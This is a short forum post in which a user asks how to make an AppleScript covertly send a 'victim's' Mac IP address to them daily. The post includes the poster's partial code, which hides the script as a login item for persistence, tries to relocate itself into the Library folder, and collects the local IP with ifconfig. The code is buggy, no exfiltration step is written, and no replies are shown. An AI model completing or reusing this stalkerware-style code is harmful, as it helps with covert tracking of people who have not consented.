Forum Thread: How Do I Make a Mac Send Me Their IP Address Daily?

I want to make an AppleScript that sends me the IP of the victim's computer when run. So far I have this but I don't know how to go about the sending IP part:

--------------------------------Putting inside Loggin Items-----------------------------

set myPath to POSIX path of (path to me)

tell application "System Events"

make new login item at end of login items with properties {name:"", path:myPath, hidden:true}

end tell

------------------------------------Moving Script------------------------------------

set source to POSIX path of (path to me)
set destination to POSIX path of (path to home folder) & "Library/"

if source = destination & "" then
return "OK"
do shell script "mv " & quoted form of source & space & quoted form of destination
end if


set myIP to (do shell script "ifconfig | grep \"inet \" | grep -Fv | awk '{print $2}'") -- Sets their IP as a variable.

Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active